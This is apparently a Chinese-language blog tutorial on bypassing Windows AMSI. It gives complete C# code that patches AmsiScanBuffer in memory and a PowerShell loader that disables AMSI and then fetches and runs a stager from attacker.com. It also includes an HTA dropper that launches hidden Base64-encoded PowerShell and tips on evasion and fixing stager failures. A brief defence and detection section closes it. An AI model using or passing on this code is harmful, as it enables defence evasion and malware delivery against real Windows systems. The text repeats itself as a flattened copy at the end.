How To Bypass AMSI (二)
字数 1344 2025-08-27 12:33:49

AMSI Bypass 技术深入解析与实战指南

1. AMSI 简介与基本原理

AMSI (Antimalware Scan Interface) 是微软提供的一套反恶意软件扫描接口,允许应用程序和服务集成反恶意软件产品。它主要作用于:

  • PowerShell 脚本执行前扫描
  • VBScript/JScript 执行前扫描
  • Office 宏执行前扫描
  • Windows 脚本宿主(WSH)执行前扫描

AMSI 的核心函数是 AmsiScanBuffer,其函数原型为:

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID buffer,
  ULONG length,
  LPCWSTR contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT *result
);

2. AMSI Bypass 核心思路

2.1 内存 Patch 技术

通过修改 amsi.dll 在内存中的代码来实现绕过:

  1. 加载 amsi.dll 到当前进程
  2. 获取 AmsiScanBuffer 函数地址
  3. 修改内存保护属性为可写
  4. 用特定字节覆盖原函数代码

2.2 两种主要 Patch 方法

方法一:修改函数中间指令(旧方法)

Byte[] Patch = { 0x31, 0xff, 0x90 };  // xor edi,edi + nop
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);

方法二:修改函数开头指令(更稳定方法)

Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };  // mov eax,0x80070057 + ret
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
Marshal.Copy(Patch, 0, unmanagedPointer, 6);
MoveMemory(ASBPtr, unmanagedPointer, 6);

3. 完整 C# 实现代码

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI 
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
        
        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
        
        public static int Disable() 
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero) {
                return 1;
            }
            
            IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");
            if (ASBPtr == IntPtr.Zero) {
                return 1;
            }
            
            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) {
                return 1;
            }
            
            // 方法一:修改函数中间指令
            // Byte[] Patch = { 0x31, 0xff, 0x90 };
            // IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            // Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            // MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);
            
            // 方法二:修改函数开头指令(推荐)
            Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
            Marshal.Copy(Patch, 0, unmanagedPointer, 6);
            MoveMemory(ASBPtr, unmanagedPointer, 6);
            
            return 0;
        }
    }
}

4. PowerShell 集成方法

将上述 C# 代码嵌入 PowerShell 脚本:

$Ref = ("System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a")

$Source = @" 
[上面C#代码]
"@

Add-Type -ReferencedAssemblies $Ref -TypeDefinition $Source -Language CSharp

# 执行Bypass并检查结果
if([Bypass.AMSI]::Disable() -eq "0") {
    # 执行后续payload
    iex ((new-object net.webclient).downloadstring("http://attacker.com/stager"))
}

5. HTA 文件投递方法

将 PowerShell 脚本 Base64 编码后嵌入 HTA 文件:

<script language="VBScript">
    Function var_func()
        Dim var_shell
        Set var_shell = CreateObject("Wscript.Shell")
        var_shell.run "powershell.exe -nop -w 1 -enc [Base64编码的PowerShell脚本]", 0, true
    End Function
    var_func
    self.close
</script>

生成 Base64 编码的 PowerShell 脚本:

$string = 'iex ((new-object net.webclient).downloadstring("http://attacker.com/amsi-bypass")); if([Bypass.AMSI]::Disable() -eq "0") { iex ((new-object net.webclient).downloadstring("http://attacker.com/stager")) }'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($string))

6. 常见问题与解决方案

6.1 子进程问题

现象:AMSI 已禁用但 stager 仍无法执行,出现子 PowerShell 进程被终止。

原因:32位/64位进程不匹配。例如:

  • 父进程:64位 (C:\Windows\System32\...)
  • 子进程:32位 (C:\Windows\SysWOW64\...)

解决方案

  • 确保 payload 与目标进程架构匹配
  • 使用 64 位 stager 针对 64 位系统

6.2 进程崩溃问题

现象:32位进程中执行 Bypass 时崩溃。

原因:旧版 Patch 方法在 32 位环境中不稳定。

解决方案

  • 使用修改函数开头的 Patch 方法(方法二)
  • 确保 Patch 长度和位置正确

7. 防御措施与检测方法

7.1 防御措施

  • 启用 PowerShell 日志记录(脚本块日志)
  • 限制 PowerShell 执行策略
  • 监控 amsi.dll 的内存修改行为
  • 使用受保护的进程轻量级 (PPL) 技术

7.2 检测方法

  • 监控 VirtualProtect 调用针对 amsi.dll 内存区域
  • 检测 AmsiScanBuffer 函数被修改的行为
  • 分析 PowerShell 进程中的异常内存操作

8. 总结与最佳实践

  1. Patch 方法选择:优先使用修改函数开头的稳定方法
  2. 架构匹配:确保 payload 与目标进程架构一致
  3. 分阶段执行:先 Bypass AMSI,再加载实际 payload
  4. 隐蔽性:使用编码技术避免字符串检测
  5. 环境测试:在不同 Windows 版本和架构上测试 Bypass 效果

通过深入理解 AMSI 工作原理和这些 Bypass 技术,安全研究人员可以更好地测试和改进系统防御措施,而防御者则可以更有效地检测和阻止此类攻击。

AMSI Bypass 技术深入解析与实战指南 1. AMSI 简介与基本原理 AMSI (Antimalware Scan Interface) 是微软提供的一套反恶意软件扫描接口,允许应用程序和服务集成反恶意软件产品。它主要作用于: PowerShell 脚本执行前扫描 VBScript/JScript 执行前扫描 Office 宏执行前扫描 Windows 脚本宿主(WSH)执行前扫描 AMSI 的核心函数是 AmsiScanBuffer ,其函数原型为: 2. AMSI Bypass 核心思路 2.1 内存 Patch 技术 通过修改 amsi.dll 在内存中的代码来实现绕过: 加载 amsi.dll 到当前进程 获取 AmsiScanBuffer 函数地址 修改内存保护属性为可写 用特定字节覆盖原函数代码 2.2 两种主要 Patch 方法 方法一:修改函数中间指令(旧方法) 方法二:修改函数开头指令(更稳定方法) 3. 完整 C# 实现代码 4. PowerShell 集成方法 将上述 C# 代码嵌入 PowerShell 脚本: 5. HTA 文件投递方法 将 PowerShell 脚本 Base64 编码后嵌入 HTA 文件: 生成 Base64 编码的 PowerShell 脚本: 6. 常见问题与解决方案 6.1 子进程问题 现象 :AMSI 已禁用但 stager 仍无法执行,出现子 PowerShell 进程被终止。 原因 :32位/64位进程不匹配。例如: 父进程:64位 ( C:\Windows\System32\... ) 子进程:32位 ( C:\Windows\SysWOW64\... ) 解决方案 : 确保 payload 与目标进程架构匹配 使用 64 位 stager 针对 64 位系统 6.2 进程崩溃问题 现象 :32位进程中执行 Bypass 时崩溃。 原因 :旧版 Patch 方法在 32 位环境中不稳定。 解决方案 : 使用修改函数开头的 Patch 方法(方法二) 确保 Patch 长度和位置正确 7. 防御措施与检测方法 7.1 防御措施 启用 PowerShell 日志记录(脚本块日志) 限制 PowerShell 执行策略 监控 amsi.dll 的内存修改行为 使用受保护的进程轻量级 (PPL) 技术 7.2 检测方法 监控 VirtualProtect 调用针对 amsi.dll 内存区域 检测 AmsiScanBuffer 函数被修改的行为 分析 PowerShell 进程中的异常内存操作 8. 总结与最佳实践 Patch 方法选择 :优先使用修改函数开头的稳定方法 架构匹配 :确保 payload 与目标进程架构一致 分阶段执行 :先 Bypass AMSI,再加载实际 payload 隐蔽性 :使用编码技术避免字符串检测 环境测试 :在不同 Windows 版本和架构上测试 Bypass 效果 通过深入理解 AMSI 工作原理和这些 Bypass 技术,安全研究人员可以更好地测试和改进系统防御措施,而防御者则可以更有效地检测和阻止此类攻击。